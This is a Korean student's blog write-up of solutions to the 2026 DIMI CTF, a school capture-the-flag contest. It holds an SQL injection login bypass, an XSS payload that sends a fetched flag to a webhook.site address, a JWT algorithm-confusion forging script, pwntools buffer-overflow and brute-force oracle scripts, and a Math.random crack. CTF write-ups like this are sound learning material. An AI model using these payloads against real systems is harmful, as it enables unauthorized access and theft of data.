pandas์˜ ๊ธฐ์ถœ ๋ถ„์„ - 2026 DIMI CTF

2026. 3. 16. 17:05ยทCTF

์•ˆ๋…•ํ•˜์„ธ์š”, pandas์ž…๋‹ˆ๋‹ค.

2026. 03. 05 ๋ถ€ํ„ฐ 10๋ช‡์ผ๊ฐ„ ์ง„ํ–‰๋œ dimi ctf์— ์ฐธ๊ฐ€ํ•ด๋ดค์Šต๋‹ˆ๋‹ค

์‚ฌ์‹ค ์‹ ์ž…์ƒ ๋Œ€์ƒ์ธ๋ฐ ์™œ์ธ์ง€๋Š” ๋ชจ๋ฅด๊ฒ ์ง€๋งŒ 2,3ํ•™๋…„๋„ ์ฐธ์—ฌํ•  ์ˆ˜ ์žˆ๋‹ค๊ณ ํ•ด์„œ ์‹ ๋‚˜๊ฒŒ ํ’€์–ด๋ดค์Šต๋‹ˆ๋‹ค

 

์ „๊ณต ์‹œ๊ฐ„์— ํ•  ๊ฒƒ๋„ ์—†์–ด์„œ ๊ทธ๋ƒฅ ์ถœ์ œ์ž๋ถ„๋“ค์ด๋‚˜ ์ฐธ์—ฌ์ž๋ถ„๋“ค ๋ณด๋ผ๊ณ  ๋กธ์—…์ด๋‚˜ ์ ์–ด๋ณด๊ฒ ์Šต๋‹ˆ๋‹ค

 

ํ’€๋•Œ๋Š” ๊ฑ ๋นจ๋ฆฌ ํ’€๊ณ  ์‹ถ์–ด์„œ ๋ชจ๋“  ๋ฌธ์ œ๋ฅผ CODEX๋กœ ํ’€์—ˆ๊ณ ์š”, ๊ดœ์ฐฎ์€ ๋ฌธ์ œ๋“ค์€ ์ œ๊ฐ€ ์ง์ ‘ ์—…์†”๋น™ํ•ด์„œ ๋กธ์—… ์ ์–ด๋ณด๊ฒ ์Šต๋‹ˆ๋‹ค

 

MISC๋Š” ์›ฌ๋งŒํ•˜๋ฉด ์•ˆ ์ ์„๊ฒƒ ๊ฐ™๊ณ , PWN,REV,WEB ์œ„์ฃผ๋กœ ์ ์–ด๋ณด๊ฒ ์Šต๋‹ˆ๋‹ค

์“ฐ๊ณ  ์‹ถ์€๊ฒƒ๋งŒ ์“ธ๊ฒ๋‹ˆ๋‹ค. ๊ฑฐ์˜ 70๋ฌธ์ œ๊ฐ€ ๋„˜์€ ๊ฑฐ ๊ฐ™์€๋””;;;;;

 

# WEB

WEB - ์Šคํ…”์Šค๋ผ์„œ ๋ณด์ด์ง€ ์•Š์•„์š” - 1 

์•„๋‹ˆ ๊ฐ‘์ž๊ธฐ STEALTH ํ™ˆํŽ˜์ด์ง€๊ฐ€ ๋‚˜์™€์„œ ๋†€๋ž๋‹ค

STEALTH ํ™๋ณด์— ์ข‹์€ ๊ฒƒ ๊ฐ™๋‹ค

์ฃผ์„์— ์žˆ๋‹ค

 

WEB - ์Šคํ…”์Šค๋ผ์„œ ๋ณด์ด์ง€ ์•Š์•„์š” - 2

์Šคํ…”์Šค ์‹œ๋ฆฌ์ฆˆ์˜€๋‹ค

๊ฐœ๋ฐœ์ž๋„๊ตฌ > Application > Cookie์— FLAG2๊ฐ€ ์กด์žฌํ•œ๋‹ค

 

WEB - ์Šคํ…”์Šค๋ผ์„œ ๋ณด์ด์ง€ ์•Š์•„์š” - 3

MoFW๋กœ ๋กœ๊ทธ์ธํ•˜๋ผ๊ณ  ํ•œ๋‹ค

ID์— MoFW'-- 

๋น„๋ฐ€๋ฒˆํ˜ธ์— ์•„๋ฌด๊ฑฐ๋‚˜ ๋„ฃ์œผ๋ฉด ๋œ๋‹ค

SQL Injection์ด๋ผ๋Š” ๊ณต๊ฒฉ์ด๊ณ , ๋‚ด๋ถ€ SQL ๊ฒ€์‚ฌ ๋กœ์ง์—์„œ ID ์ž…๋ ฅ์— MoFW' ๋ฅผ ๋„ฃ์œผ๋ฉด, ID๋Š” MoFW, --๋Š” SQL์—์„œ ์ฃผ์„์œผ๋กœ ์ฒ˜๋ฆฌ๋œ๋‹ค

๋”ฐ๋ผ์„œ ๋น„๋ฐ€๋ฒˆํ˜ธ ๊ฒ€์‚ฌ ๋กœ์ง์ด ์ฃผ์„ํ™”(==๋ฌด๋ ฅํ™”)๋œ๋‹ค

 

WEB - ์Šคํ…”์Šค๋ผ์„œ ๋ณด์ด์ง€ ์•Š์•„์š” - 4

๋กœ๊ทธ์ธ ํ•˜๋ฉด

์†Œ์Šค์ฝ”๋“œ๋ฅผ ๋ณด๋ฉด, ์„ธ์…˜ ์Šคํ† ๋ฆฌ์ง€์— flag4๋ฅผ ๋•Œ๋ ค ๋„ฃ๋Š”๊ฑธ ๋ณผ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค

์นœ์ ˆํ•˜๊ฒŒ xss๊ฐ€ ํ„ฐ์ง„๋‹ค๊ณ  ์•Œ๋ ค์ฃผ๋„ค์š”

  <img src="x" onerror="fetch('/member.flag').then(r=>r.text()).then(t=>{new Image().src='https://webhook.site/<YOUR_ID>?d='+encodeURIComponent(t)})">

 

WEB - John Wants TV

๋”ฑ ๋ด๋„ JWT ์•Œ๊ณ ๋ฆฌ์ฆ˜์—์„œ ์ด์Šˆ๊ฐ€ ์ƒ๊ธธ ๊ฒƒ ๊ฐ™์Šต๋‹ˆ๋‹ค

CSS๋”ฐ์œ„๋Š” ์—†๋Š” ์ข‹์€ ๋ฌธ์ œ ํŽ˜์ด์ง€๋„ค์š”

ํ•œ๋ฒˆ์”ฉ ๋‹ค ๋ณด๋ฉด

/.well-known/jwks.json์—์„œ ์ˆ˜์ƒํ•œ ์นœ๊ตฌ๊ฐ€ ์žˆ์Šต๋‹ˆ๋‹ค

{
  "keys": [
    {
      "alg": "RS256",
      "e": "AQAB",
      "kid": "dock-main",
      "kty": "RSA",
      "n": "uL1jHclrqQu689DSXKiTyRp9rvcBoSeik6Cxa2yhcN6G1NvszzBcxKhZRTH4yXw5orkT0X-SGn_iMdMRwXcBRLSebe-8CNOQFq3lDgy0cQONJy579W3ufWiQQSJVo5AEjSv2ego4wABKumaAlAQIaIHUbPN-06plzx45i5suI96ZDuGQEpS_xeHwwAxOHipw-MFVfMVjELVQAvwBT8-EJfExOWRqB8866kdtM8C3vBYXujDFGQnDfE1uIwozInjJIilOq241ADASOf2B9nbCIc30auLp8XFWP-63cGv5s3tl5S344cL9MuICecHyOIHN_oWof5PJtWAETcY0iZnIYQ",
      "use": "sig"
    }
  ]
}
jwks_url = f"{base_url}/.well-known/jwks.json"
    jwks = requests.get(jwks_url, timeout=10).json()
    jwk = jwks["keys"][0]

    now = int(time.time())
    payload = {
        "sub": "operator",
        "role": "admin",
        "clearance": 7,
        "mission": "pegasus",
        "scope": ["dock:override"],
        "iss": "janus-auth",
        "iat": now,
        "exp": now + 900,
    }
    headers = {
        "kid": jwk["kid"],
        "typ": "access+jwt",
        "alg": "HS256",
    }

    return jwt.encode(payload, jwk["n"], algorithm="HS256", headers=headers)

jwt ๋‹ค์‹œ ์„œ๋ช…ํ•ด์„œ ์ „์†กํ•˜๋ฉด ๋ฉ๋‹ˆ๋‹ค

 

 

# PWN

PWN - ์ด์ƒํ•œ ํ”„๋ฆฐํ„ฐ

C์–ธ์–ด ์ฝ”๋“œ ์™œ ์•ˆ์คŒ;;;

ida๋กœ ๊นŒ๊ธฐ ๊ท€์ฐฎ์•„์„œ ๊ทธ๋ƒฅ ๋ฐ”๋กœ ์‹คํ–‰ํ•ด๋ดค์Šต๋‹ˆ๋‹ค

ls ์น˜๋Š”๊ฑฐ ๋ฐ”๋กœ ์ถœ๋ ฅํ•ด์ฃผ๊ณ , ๋А๋‚Œ์ƒ command injection ๊ฐ™์•„์„œ ๋Œ€์ถฉ ์ฐ์–ด๋ณด๋‹ˆ ๋˜๋„ค์š”

์ฐ์‹ 

 

v4 ์ž…๋ ฅ์— ;์„ ๋„ฃ์œผ๋ฉด echo ๋ช…๋ น์ด ๋๋‚˜๊ฒŒ ๋˜๊ณ , ๊ทธ ๋’ค์— ์›ํ•˜๋Š” ๋ช…๋ น์–ด๋ฅผ ์ž…๋ ฅํ•˜๋ฉด system ํ•จ์ˆ˜๋กœ ์‹คํ–‰์ด ๋ฉ๋‹ˆ๋‹ค

์ž‘๋…„์— ์ œ๊ฐ€ ์ถœ์ œํ•œ ๋ฌธ์ œ๋“ค ๋ณด๋‹ค๋Š” ์ข€ ์–ด๋ ค์šด ๊ฑฐ ๊ฐ™๋„ค์š”

 

PWN - ๋‚˜๋ˆ—์…ˆ

a์— -2147483648, b์— -1๋กœ Overflow๋ฅผ ์ผ์œผํ‚ต๋‹ˆ๋‹ค

 

PWN - Brain Overflow

๋ˆ„๊ฐ€๋ด๋„ winํ•จ์ˆ˜ ํ˜ธ์ถœํ•˜๋ผ๋Š”ww

gets func๊ฐ€ ์ทจ์•ฝํ•ฉ๋‹ˆ๋‹ค

gets๋Š” NULL๊นŒ์ง€ ์ž…๋ ฅ๋ฐ›์Šต๋‹ˆ๋‹ค

๋Œ€์ถฉ ๊ณ„์‚ฐํ•ด๋ด๋„ payload len์ด 20์ด ๋„˜์„ ๊ฒƒ ๊ฐ™์œผ๋‹ˆ, NULL์„ payload ๋งจ ์•ž์— ๋‘๊ณ , payload ํŒจ๋”ฉ์„ ๋ณด๋‚ด๋ฉด ๋ฉ๋‹ˆ๋‹ค

from pwn import *

p = process("./prob")
e = ELF("./prob")

payload = b"\x00" + b"A"*23 + p64(e.symbols['win'])
p.sendline(payload)

p.interactive()

๋ญ remote๋„ ๋ ๊ฒ๋‹ˆ๋‹ค

์ธ์Šคํ„ด์Šค ๋ฐ›๊ธฐ ๊ท€์ฐฎ์€๊ฑด ์•ˆ ๋น„๋ฐ€์ž…๋‹ˆ๋‹ค

๊ทธ๋ƒฅ ๋‹จ์ˆœํ•œ rao๊ฐ€ ์•„๋‹ˆ๋ผ, payload์˜ len ์ œํ•œ์ด ์žˆ๋Š” ๋ถ€๋ถ„์ด ๊นŒ๋‹ค๋กœ์šธ ์ˆ˜ ์žˆ๋‹ค๊ณ  ์ƒ๊ฐํ•ฉ๋‹ˆ๋‹ค

 

PWN - ์นด๋‚˜๋ฆฌ์•„ ํ‚ค์šฐ๊ธฐ

Canary ๋ฌธ์ œ

๋˜ ์—†์–ด C์ฝ”๋“œ,

win ํ•จ์ˆ˜๋Š” ์คฌ๊ณ ,

pie ์—†๊ณ  canary ์žˆ์Šต๋‹ˆ๋‹ค

Canary Leak์„ ํ•˜๋Š” ๊ฒƒ ๋ณด๋‹ค๋Š” ๊ฑ rip์—๋งŒ ์“ธ ์ˆ˜ ์žˆ์„ ๊ฒƒ ๊ฐ™์Šต๋‹ˆ๋‹ค

 

%d๋กœ ์ž…๋ ฅ์„ ๋ฐ›๋Š”๋ฐ canary ๋ถ€๋ถ„์— +๋ฅผ ๋„ฃ์œผ๋ฉด canary๊ฐ€ ํ›ผ์†๋˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค

์ฝ”๋“œ ์•ˆ์งœ๋„ ๋  ๊ฑฐ ๊ฐ™์•„์„œ ๊ทธ๋ƒฅ win ํ•จ์ˆ˜ ์ฃผ์†Œ ๋ณ€ํ™˜ ํ•ด์„œ

๋•„์Šต๋‹ˆ๋‹ค

 

STACK ๊ตฌ์กฐ์— ๋Œ€ํ•œ ์ดํ•ด์™€ canary ์šฐํšŒ ๋ฐฉ๋ฒ•, ๊ฝค๋‚˜ ๊นŒ๋‹ค๋กœ์šด ๋ฌธ์ œ๋ผ๊ณ  ์ƒ๊ฐํ•ฉ๋‹ˆ๋‹ค (์‹ ์ž…์ƒ ๋…ธ๋ฒ ์ด์Šค ๊ธฐ์ค€)

๋ฌธ์ œ ์•„์ด๋””์–ด๋Š” ์ข‹์€ ๊ฑฐ ๊ฐ™๋„ค์š”

canary leak์—์„œ raoํ•˜๋Š” ๋‹จ์ˆœํ•œ ๋ฌธ์ œ๋„ ์žˆ์—ˆ์œผ๋ฉด ์ข‹์•˜์„ ๋“ฏ ํ•˜๋„ค์š”

 

PWN - Easy Login

๊ฐ์‚ฌํ•˜๋„ค์š”. IDA๊ฐ€ ํ•„์š”์Ž๋„ค์š”

์ฝ”๋“œ๋ฅผ ๋ณด๋ฉด strcmp(user_id, "admin") == 0 ์ด๋ฉด flag๋ฅผ ์–ป์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค

OOB ์ทจ์•ฝ์ ์ด ์กด์žฌํ•˜๊ณ , ID๋ฅผ ADMIN์œผ๋กœ ๋ฐ”๊พธ๋ฉด ๋ฉ๋‹ˆ๋‹ค

๊ฑ ์ฝ”๋“œ๋กœ ์งœ์„œ ํ‘ธ๋Š”๊ฒŒ ์ข‹์•„์„œ ์ด๋ ‡๊ฒŒ ํ—€์Šต๋‹ˆ๋‹ค

๋ญ ๋กœ๋˜๋ฆฌ์•ˆ์€ ์—†๊ฒ ์ฃ ,,

 

PWN - Flag Checker

read๋ฅผ ์ด์šฉํ•˜์—ฌ ํ’€์—ˆ์Šต๋‹ˆ๋‹ค

input ๋’ค์—, flag๊ฐ€ ์žˆ๊ณ , read๋กœ 200๋ฐ”์ดํŠธ๋ฅผ ์ฝ์Šต๋‹ˆ๋‹ค

input ๋’ค flag๊นŒ์ง€ ๋ฎ์„ ์ˆ˜ ์žˆ๊ณ , input๊ณผ flag๋ฅผ ๋น„๊ตํ•ฉ๋‹ˆ๋‹ค

์ผ์น˜ํ•˜๋ฉด Correct, ํ‹€๋ฆฌ๋ฉด wrong์„ ์ถœ๋ ฅํ•ฉ๋‹ˆ๋‹ค

 

์ผ๋‹จ ์‰˜์„ ๋”ฐ๋Š”๊ฑด ๋ถˆ๊ฐ€๋Šฅํ•ด๋ณด์ž…๋‹ˆ๋‹ค (์‰˜ ์–ด์ผ€ ๋”ฐ๋Š” ๋ฐฉ๋ฒ•์ด ์žˆ๋‚˜์š”...?)

ํ•˜์ง€๋งŒ flag๋ฅผ ์•Œ์•„๋‚ด๋Š” ๊ฒƒ์€ ๊ฐ€๋Šฅํ•  ๊ฒƒ ๊ฐ™์Šต๋‹ˆ๋‹ค

ํ”Œ๋ž˜๊ทธ๋Š” printable ascii๊ณ , ๋งˆ์ง€๋ง‰ ๋ฐ”์ดํŠธ๋Š” '\n' ์ž…๋‹ˆ๋‹ค.

ํ•ต์‹ฌ์ž…๋‹ˆ๋‹ค

 

input์„ ๋งค๋ฒˆ ๋‹ค๋ฅด๊ฒŒ ํ•˜๋ฉฐ, Correct๋ฅผ ์ถœ๋ ฅํ•˜๋Š” ์ž…๋ ฅ์„ ์ฐพ๊ณ , flag๋ฅผ ํ•œ ๊ธ€์ž ํ•œ ๊ธ€์ž ๋น„๊ตํ•˜๋ฉด ๋ฉ๋‹ˆ๋‹ค

from pwn import *

charset = b"abcdefghijklmnopqrstuvwxyz" + b"0123456789" + b"ABCDEFGHIJKLMNOPQRSTUVWXYZ" + b"!\"#$%&'()*+,-./:;<=>?@[]^_`{|}~ "

boundary = None
suffix = None

for s in [b"}\n", b"}"]:
    for i in range(100):
        test = b"A" * i + s + b"\x00"
        if len(test) > 100:
            break

        payload = test.ljust(100, b"B") + (b"A" * i)

        p = remote("39.118.211.92", 34272)
        p.send(payload)
        p.shutdown("send")
        if b"Correct!" in p.recvall(timeout=1):
            boundary = i
            suffix = s
            p.close()
            break
        p.close()

cur = suffix
while True:
    payload = (b"DIMI" + cur + b"\x00").ljust(100, b"B")

    p = remote("39.118.211.92", 34272)
    p.send(payload)
    p.shutdown("send")
    if b"Correct!" in p.recvall(timeout=1):
        p.close()
        print((b"DIMI" + cur).decode("ascii", "ignore"))
        break
    p.close()

    i = boundary + len(suffix) - len(cur) - 1
    for ch in charset:
        test = b"A" * i + bytes([ch]) + cur + b"\x00"
        if len(test) > 100:
            print("Too long")
            exit(0)

        payload = test.ljust(100, b"B") + (b"A" * i)

        p = remote("39.118.211.92", 34272)
        p.send(payload)
        p.shutdown("send")
        if b"Correct!" in p.recvall(timeout=1):
            p.close()
            cur = bytes([ch]) + cur
            break
        p.close()

๋ธŒํฌ๋ฅผ ๋•Œ๋ฆฌ๋‹ค ๋ณด๋ฉด flag๊ฐ€ ์ตœ์ข…์ ์œผ๋กœ ๋ณต๊ตฌ๋ฉ๋‹ˆ๋‹ค

๊ต‰์žฅํžˆ ์‹ ๋ฐ•ํ•œ ๋ฌธ์ œ์˜€๊ณ , ์žฌ๋ฏธ์žˆ์—ˆ์Šต๋‹ˆ๋‹ค

 

PWN - Infinity dance

์“ฐ์,,,,,ํ’€์–ด์•ผ๊ฒ ์ง€,,,ใ…Žใ…Ž

Last Dance์˜ revenge ๋ฌธ์ œ๋ผ๊ณ  ํ•ฉ๋‹ˆ๋‹ค

์ถœ์ œ์ž๋ถ„์ด ๋‹ค๋ฅธ ๊ณณ์— ๋ฌธ์ œ๋ฅผ ๋‚ผ ์ˆ˜๋„ ์žˆ๋‹ค๊ณ  ํ•˜์—ฌ, ํ’€์ด๋Š” ์ข€ ๊ฒ€์—ดํ•˜๊ฒ ์Šต๋‹ˆ๋‹ค

๊ฐ„๋‹จํ•˜๊ฒŒ ์„ค๋ช…ํ•˜๋ฉด last dance(revenge ์ „ ๋ฌธ์ œ)๋Š” 8bytes aaw๊ฐ€ ๊ฐ€๋Šฅํ–ˆ๊ณ , ROPํ–ˆ์Šต๋‹ˆ๋‹ค

 

์—ฌ๊ธฐ์„œ๋Š” revenge ๋ฒ„์ „์œผ๋กœ ********๊ฐ€ ๊ฐ€๋Šฅํ•ฉ๋‹ˆ๋‹ค

*******๋„ ๊ฑธ๋ ค์žˆ์Šต๋‹ˆ๋‹ค

 

์ผ๋‹จ ** * ** *** *** **** **์„ ์ƒ๊ฐํ•ด๋ดค์Šต๋‹ˆ๋‹ค

(censored)

 

 

๋ฐ”์ด๋„ˆ๋ฆฌ๋Š” patchelf๋กœ ํŒจ์น˜ํ•ด์คฌ๊ณ ์š”

....

๊ทธ๋ ‡๊ฒŒ ํ•˜๋ฉด flag๋ฅผ ์–ป์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค

 

๋”๋ณด๊ธฐ

 Py (base)  /mnt/c/KIM-JUN-WON/03_Programming/6_HACKING/CTF/2026_DIMICTF/infinity/deploy  p exploit.py  

.........

DIMI{redacted}
[*] Stopped process './prob_patched' (pid 2855944)
 Py (base)  /mnt/c/KIM-JUN-WON/03_Programming/6_HACKING/CTF/2026_DIMICTF/infinity/deploy 

์ต์Šค ์•ˆ์ •์„ฑ์€ ์ข€ ๋–จ์–ด์ง€์ง€๋งŒ, ๊ทธ๋ž˜๋„ ์ถฉ๋ถ„ํžˆ ์ต์Šค ๊ฐ€๋Šฅํ•ฉ๋‹ˆ๋‹ค

MISC์˜ ๊ณผ๋„ํ•œ ๊ฒŒ์‹ฑ ๋ฌธ์ œ๋ฅผ ์ œ์™ธํ•˜๊ณ  DIMI CTF์—์„œ ๊ฐ€์žฅ ์–ด๋ ค์šด ๋ฌธ์ œ๋ผ๊ณ  ์ƒ๊ฐํ•ฉ๋‹ˆ๋‹ค

AI๋งŒ์œผ๋กœ๋Š” ์ž˜ ์•ˆ๋šซ๋ ค์„œ ์ œ๊ฐ€ ๋ถ„์„ํ•˜๊ณ , ์ต์Šค ๋ฐฉํ–ฅ๊นŒ์ง€ ์ง€์ •ํ•ด์คฌ์Šต๋‹ˆ๋‹ค

๋””๋ฒ„๊น…ํ•˜๋ฉด์„œ ์ต์Šค ์ฝ”๋“œ๋Š” AI๊ฐ€ ์งœ์คฌ๋„ค์š”,,,,,

์žฌ๋ฏธ์žˆ๊ฒŒ ํ’€์—ˆ์Šต๋‹ˆ๋‹ค

 

# REV

์ฃ„์†กํ•ฉ๋‹ˆ๋‹ค,,,๋ฆฌ๋ฒ„์‹ฑ์€ ๋ถ„์„์„ ํ•ด์•ผ๋˜์ž–์•„์š”,,,,

์‹œ๊ฐ„ ์ด์Šˆ๊ฐ€ ์ข€ ์žˆ์Šต๋‹ˆ๋‹ค,,,

์›ํ•˜๋Š” ๋ฌธ์ œ ์žˆ๋‹ค๋ฉด ๋ง์”€ํ•ด์ฃผ์‹œ๋ฉด ์‹œ๊ฐ„ ๋‚ ๋–„ ๋ถ„์„ํ•˜๊ณ , ์ ์–ด๋ณด๊ฒ ์Šต๋‹ˆ๋‹ค

 

# CRYPTO

Crypto - Gacha

MoFW๊ฐ€ ์ถœ์ œ? ๋žœ๋คํฌ๋ž™์ด ๋ฌด์กฐ๊ฑด ์žˆ์„ ๊ฒƒ ๊ฐ™์•˜์Šต๋‹ˆ๋‹ค

์ € ์†Œ์ˆ˜๋ฅผ ์–ด๋–ป๊ฒŒ ์ฐ์–ด์„œ ๋งž์ถฅ๋‹ˆ๊นŒ,,,,,

๋žœ๋ค ํฌ๋ž™์„ ํ•ด๋ณด๋ฉด ๋  ๊ฒƒ ๊ฐ™์Šต๋‹ˆ๋‹ค

 

Node.js๋กœ ๋งŒ๋“ค์–ด์กŒ์Šต๋‹ˆ๋‹ค

Predictability
: If an attacker can obtain a few consecutive outputs of 
Math.random()
, they can use specific tools and knowledge of the underlying algorithm (like XorShift128+ in V8/Node.js

์ด๋ ‡๋‹ค๋„ค์š”

๊ฐ€๋Šฅํ•  ๊ฒƒ ๊ฐ™์Šต๋‹ˆ๋‹ค

 

๋งจ ์ฒ˜์Œ์— ๋œจ๋Š” github๊ฐ€ ์žˆ์Šต๋‹ˆ๋‹ค

๋‹ค์šด๋ฐ›์œผ๋ฉด ๋ฉ๋‹ˆ๋‹ค

 

HIT๋ฅผ ๋ณด๋ฉด FLAG๊ฐ€ 5๊ธ€์ž์ด๋‹ˆ 5๊ฐœ์˜ ์†Œ์ˆ˜๋ฅผ ๋งž์ถ”๋ฉด ๋  ๊ฒƒ ๊ฐ™์Šต๋‹ˆ๋‹ค

from crack import RandomSolver

leak = [
    0.6034371179275257,
    0.34153373054757186,
    0.6072523996128449,
    0.3832482909907422,
    0.6947977881469838
]

solver = RandomSolver()
for v in leak:
    solver.submit_random(v)
solver.solve()
for idx, gen in enumerate(solver.answers):
    if idx >= 1:
        break
    for _ in range(5):
        print(gen.random())

0์„ ์ž…๋ ฅํ•ด์„œ 5๊ฐœ์˜ ์†Œ์ˆ˜๋ฅผ ์œ ์ถœ์‹œ์ผฐ๊ณ , exploit์ฝ”๋“œ์— ๋„ฃ์–ด์„œ ์‹คํ–‰ํ–ˆ์Šต๋‹ˆ๋‹ค

๋ณต๊ตฌํ•œ ๊ฐ’์„ ์ฐจ๋ก€๋Œ€๋กœ ๋„ฃ์œผ๋ฉด random์„ ๋ณต๊ตฌํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค

node.js random crack์€ ์ฒ˜์Œ์ธ๋ฐ ์žฌ๋ฏธ์žˆ๊ฒŒ ํ’€์—ˆ์Šต๋‹ˆ๋‹ค

python random crack์ด์˜€์œผ๋ฉด ๋ชป ํ’€์—ˆ์„ ๊ฒƒ ๊ฐ™์€๋ฐ ๋น„๊ต์  ์‰ฌ์› ๋˜ ๊ฒƒ ๊ฐ™์Šต๋‹ˆ๋‹ด

 

# MISC

MISC - Pixel Art

์ด๊ฒŒ ์ „๋ถ€์ž…๋‹ˆ๋‹ค

 

์ •์‹ ๋‚˜๊ฐ€๋Š” ์ค„ ์•Œ์•˜์Šต๋‹ˆ๋‹ค

DIMI{omghow??nvm this is flag:DIMI{im4g3_c4n_als0_b3_pr0gr4mming_l4ngu4g3}}

 

์ด๋Ÿฐ๊ฑธ ์™œ ์•Œ๊ณ  ์žˆ๋Š”๊ฑฐ์ฃ ,,,์‹ ๋ฐ•ํ–ˆ๋„ค์š”

 

MISC - ใฒใ‚‰ใŒใช

ํ•˜,,,,

AI๋ฅผ ์—ด์‹ฌํžˆ ํ™œ์šฉํ•˜๋Š”๊ฒŒ ์ •๋ง ์ค‘์š”ํ•œ ๊ฒƒ ๊ฐ™์•˜์Šต๋‹ˆ๋‹ค

๋”ฑ๋ด๋„ ํ’€์ง€ ๋ง๋ผ๊ณ  ๋‚ธ ๋ฌธ์ œ๋ฅผ ์–ด๋–ป๊ฒŒ๋“ ์ง€ ํ’€์–ด์„œ ์ข‹์•˜๋„ค์š”

์ผ๋‹จ ์ด์ •๋„๋Š” ์ฐพ์•˜์Šต๋‹ˆ๋‹ค

์ด๋Š” codex-5.4 extreme high์™€ chatgpt pro๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ์ด์ •๋„๊นŒ์ง€ ์–ป์–ด๋ƒˆ๊ณ , ํžŒํŠธ๋ฅผ ์ค€๋‹ค๊ธธ๋ž˜ ์ง€๊ธˆ๊นŒ์ง€์˜ ๋ถ„์„์„ ์งˆ๋ฌธํ–ˆ์Šต๋‹ˆ๋‹ค

 

์งˆ๋ฌธ์— ๋Œ€ํ•œ ๋‹ต๋ณ€์€ "๋ฐฉํ–ฅ์ด ๋งž๋‹ค. rc2 key ์ฐพ์„ ์ˆ˜ ์žˆ๋‹ค"์˜€์Šต๋‹ˆ๋‹ค

 

๊ฑฐ์˜ ๋‹ค ์˜จ ๊ฒƒ ๊ฐ™์•„์„œ ๋” gpt๋ฅผ ๊ฐˆ๊ถœ์Šต๋‹ˆ๋‹ค

ChatGPT PRO - Extend Pro ๋ชจ๋ธ์„ ์‚ฌ์šฉํ–ˆ์Šต๋‹ˆ๋‹ค

https://chatgpt.com/share/69afc309-c178-8009-a283-85a83350dd68

 

MISC - ํ–‰๋ณตํ•œ ์ˆ˜ํ•™

ํ–‰siuuuuuuuuuuuuuu

pwntools๋ฅผ ์‚ฌ์šฉํ•ด๋ณด๊ธฐ ์ข‹์€ ์—ฐ์Šต ๋ฌธ์ œ๋ผ๊ณ  ์ƒ๊ฐํ•ฉ๋‹ˆ๋‹ค

from pwn import *

p = process("./prob")

p.recvline()
line = p.recvline()[:-5]
result = eval(line.decode().replace('/', '//'))
p.sendline(str(result).encode())

for i in range(499):
    p.recvline()
    p.recvline()
    line = p.recvline()[:-5]
    result = eval(line.decode().replace('/', '//'))
    print(i + 2)
    p.sendline(str(result).encode())

p.interactive()

remote๋Š” ๊ธฐ๋‹ค๋ฆฌ๊ธฐ ๊ท€์ฐฎ์œผ๋‹ˆ local์—์„œ๋งŒ ํ• ๊ฒŒ์š”

 

MISC - codex

๊ฒŒ์ž„์ด๋ผ๊ณ  ๊ฑฐ์ง“๋ง์ด๋ผ๊ณ  ํ•ด๋ดค์Šต๋‹ˆ๋‹ค

 

# FORENSIC 

FOR - onLeaf's USB

ํฌ๋ Œ์‹์ด๊ณ  ๋ญ๊ฐ€ ๋งŽ์Šต๋‹ˆ๋‹ค

1. MoFW
2. ํ˜„๊ธˆ_ํƒˆ์ทจ
3. 2026-03-21
4. capital_bank
5. efsdecrypter

์—ด์‹ฌํžˆ codex๋ฅผ ๋Œ๋ ธ์Šต๋‹ˆ๋‹ค

3๋ฒˆ๊ณผ 5๋ฒˆ์—์„œ ์ข€ ๋ง‰ํ˜”๋Š”๋ฐ,

3๋ฒˆ์€ Windows/time.tmp์—์„œ ํ•œ๊ธ€๋กœ ๋‚ ์งœ๋ฅผ ์กฐํ•ฉํ•˜๋ฉด์„œ ์ฐพ์•˜๊ณ ,

5๋ฒˆ์€ efsdecrypter.dll๊ฐ€ ๊ณต๊ฒฉ ์†Œ์Šค์ธ๊ฑธ ๋ณด๊ณ  ์ด๊ฑธ๋กœ ์ฐพ์•˜์Šต๋‹ˆ๋‹ค

 

- Input string: MoFW_ํ˜„๊ธˆ_ํƒˆ์ทจ_2026-03-21_capital_bank_efsdecrypter
- MD5: 56db51f2d5a38578d71e77f640b28d2e
- Flag: DIMI{56db51f2d5a38578d71e77f640b28d2e}

 

MISC - RUBBER HOSE Lyla4

Lyla4๋ฅผ ์ฐพ์•„๊ฐ€์•ผํ•˜๋Š” ๋ฌธ์ œ์ž…๋‹ˆ๋‹ค

์‹ ๊ด€์—์„œ ๋ณธ๊ด€๊นŒ์ง€ ๊ฐ€๋Š”๊ฒŒ ๋„ˆ๋ฌด๋„ˆ๋ฌด ํž˜๋“ค์–ด์„œ ๋ชปํ’€์—ˆ์Šต๋‹ˆ๋‹ค ใ…œใ…œ

์—‰์—‰ ใ…œใ…œ

 

# ํ›„๊ธฐ

3ํ•™๋…„์ด์ง€๋งŒ ์™œ์ธ์ง€ ์ฐธ๊ฐ€ํ•  ์ˆ˜ ์žˆ๋‹ค๊ณ  ํ•ด์„œ ์ฐธ์—ฌํ•ด๋ดค์Šต๋‹ˆ๋‹ค

1ํ•™๋…„์— ์‹ ์ž…์ƒ์œผ๋กœ ์ฐธ๊ฐ€ํ•ด๋ดค๊ณ ,

2ํ•™๋…„๋•Œ๋Š” ADMIN์œผ๋กœ ๋‹ค๋ฅธ ์นœ๊ตฌ๋“ค์ด ๋‚ธ ๋ฌธ์ œ๋ฅผ ํ’€์–ด๋ดค๊ณ ,

3ํ•™๋…„๋•Œ๋Š” ๋‹ค์‹œ ๋…ธ์ธ์œผ๋กœ ์ฐธ์—ฌํ•ด๋ดค์Šต๋‹ˆ๋‹ค

 

3๋…„์งธ ์ฐธ๊ฐ€ํ•ด์„œ, DIMI CTF์˜ ๋ง๋ น์ด ๋˜์—ˆ๋„ค์š”

์‹ ์ž…์ƒ๋•Œ 60๋ช‡๋“ฑ ํ–ˆ๋Š”๋ฐ ์ด์ œ๋Š” ๋งŽ์ด ๋งŽ์ด ํ’€ ์ˆ˜ ์žˆ์–ด์„œ ์ข‹๋„ค์š”

 

์šด์˜์ง„๋“ค ๋ชจ๋‘ ์ˆ˜๊ณ ํ•˜์…จ๊ณ , ์žฌ๋ฏธ์žˆ์—ˆ์Šต๋‹ˆ๋‹ค

 

